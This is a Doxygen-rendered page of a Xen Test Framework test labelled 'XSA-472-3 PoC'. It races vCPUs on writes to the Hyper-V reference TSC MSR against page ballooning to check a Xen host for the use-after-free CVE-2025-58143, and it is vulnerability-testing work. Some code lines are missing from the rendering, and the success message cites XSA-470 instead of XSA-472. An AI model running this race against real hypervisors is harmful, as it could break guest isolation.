Xen Test Framework
main.c
Go to the documentation of this file.
1
14#include <xtf.h>
15
16const char test_title[] = "XSA-472-3 PoC";
17
19
20#define HV_X64_MSR_REFERENCE_TSC 0x40000021
21
22/* Max number of iterations. */
23#define MAX_ITER 100
24
25#define NR_APS 2
26
27/*
28 * BSP waits for ready* to become the AP count, writes start*, and resets
29 * state for the next phase.
30 *
31 * APs atomic inc read*, and wait on start*.
32 */
33static volatile struct {
34 unsigned int ready1;
35 unsigned int ready2;
36 bool start1;
37 bool start2;
39
40static void ap_thread(void)
41{
42 for ( ;; )
43 {
44 /*
45 * Use LFENCE rather than PAUSE for throttling, to avoid triggering
46 * Pause-Loop Exiting and having part of the race condition
47 * de-scheduled by Xen.
48 */
49
50 asm volatile ("lock addl $1, %0" : "+m" (wait.ready1));
51 while ( wait.start1 == 0 )
52 rmb();
53
55
56 asm volatile ("lock addl $1, %0" : "+m" (wait.ready2));
57 while ( wait.start2 == 0 )
58 rmb();
59 }
60}
61
62static bool launch_aps(void)
63{
65
66 struct xen_vcpu_hvm_context ap = {
67 /* 32bit Flat Mode */
69 .cpu_regs.x86_32 = {
70 .eip = _u(&ap_thread),
71
72 /* Same as BSP */
73 .cr0 = read_cr0(),
74 .cr4 = read_cr4(),
75
76 .cs_limit = ~0U,
77 .ds_limit = ~0U,
78 .ss_limit = ~0U,
79 .es_limit = ~0U,
80 .tr_limit = 0x67,
81
82 .cs_ar = 0xc9b,
83 .ds_ar = 0xc93,
84 .ss_ar = 0xc93,
85 .es_ar = 0xc93,
86 .tr_ar = 0x08b,
87 },
88 };
89
90 for ( unsigned int cpu = 1; cpu <= NR_APS; ++cpu )
91 {
92 int rc;
93
94 ap.cpu_regs.x86_32.esp = _u(stack) + cpu * PAGE_SIZE;
95
97
98 if ( rc )
99 {
100 xtf_error("Error: unable to init CPU%u: %d\n", cpu, rc);
101 return false;
102 }
103
104 rc = hypercall_vcpu_op(VCPUOP_up, cpu, NULL);
105 if ( rc )
106 {
107 xtf_error("Error: unable to start CPU%u: %d\n", cpu, rc);
108 return false;
109 }
110 }
111
112 return true;
113}
114
115void test_main(void)
116{
117 unsigned long tsc_gfn = virt_to_gfn(tsc_page);
118 unsigned long extents[] = { tsc_gfn };
119 struct xen_memory_reservation mem = {
120 .extent_start = extents,
121 .nr_extents = ARRAY_SIZE(extents),
122 .domid = DOMID_SELF,
123 };
124
125 if ( !launch_aps() )
126 return;
127
128 for ( unsigned int i = 0; i < MAX_ITER; i++ )
129 {
130 long rc;
131
132 while ( wait.ready1 < NR_APS )
133 rmb();
134
135 wait.ready2 = 0;
136 wait.start2 = false;
137
139
140 wait.start1 = true;
141
142 while ( wait.ready2 < NR_APS )
143 rmb();
144
145 wait.ready1 = 0;
146 wait.start1 = false;
147
148 wait.start2 = true;
149
150 /*
151 * Test whether the page is still assigned to the domain by attempting
152 * to balloon it out: if the page has been freed the get_page() call
153 * done in XENMEM_decrease_reservation will fail.
154 */
156 if ( rc != 1 )
157 return xtf_failure("Fail: Vulnerable to XSA-472 (CVE-2025-58143)\n");
158
159 /*
160 * Re-populate in preparation for the next run.
161 */
163 if ( rc != 1 )
164 return xtf_error("Error: cannot populate gfn %lx: %ld\n", tsc_gfn, rc);
165 }
166
167 xtf_success("Success: Probably not vulnerable to XSA-470 (CVE-2025-58143)\n");
168}
169
170/*
171 * Local variables:
172 * mode: C
173 * c-file-style: "BSD"
174 * c-basic-offset: 4
175 * tab-width: 4
176 * indent-tabs-mode: nil
177 * End:
178 */
#define rmb()
Definition: barrier.h:27
static unsigned long read_cr4(void)
Definition: lib.h:259
static unsigned long read_cr0(void)
Definition: lib.h:232
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:301
const char test_title[]
The title of the test.
Definition: main.c:13
#define __page_aligned_bss
Definition: compiler.h:37
#define VCPU_HVM_MODE_32B
Definition: hvm_vcpu.h:100
static long hypercall_vcpu_op(unsigned int cmd, unsigned int vcpu, void *extra)
Definition: hypercall.h:143
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition: hypercall.h:101
#define ARRAY_SIZE(a)
Definition: lib.h:8
#define XENMEM_decrease_reservation
Definition: memory.h:9
#define XENMEM_populate_physmap
Definition: memory.h:10
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
static void wrmsr(uint32_t idx, uint64_t val)
Thin wrapper around an wrmsr instruction.
Definition: msr.h:55
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define PAGE_SIZE
Definition: page.h:11
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define NULL
Definition: stddef.h:12
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
unsigned long * extent_start
Definition: memory.h:13
union xen_vcpu_hvm_context::@45 cpu_regs
struct xen_vcpu_hvm_x86_32 x86_32
Definition: hvm_vcpu.h:108
#define VCPUOP_initialise
Definition: vcpu.h:24
#define VCPUOP_up
Definition: vcpu.h:30
#define DOMID_SELF
Definition: xen.h:70
unsigned int ready1
Definition: main.c:34
static bool launch_aps(void)
Definition: main.c:62
unsigned int ready2
Definition: main.c:35
static volatile struct @60 wait
#define HV_X64_MSR_REFERENCE_TSC
Definition: main.c:20
bool start1
Definition: main.c:36
static uint8_t tsc_page[PAGE_SIZE]
Definition: main.c:18
#define NR_APS
Definition: main.c:25
#define MAX_ITER
Definition: main.c:23
bool start2
Definition: main.c:37
static void ap_thread(void)
Definition: main.c:40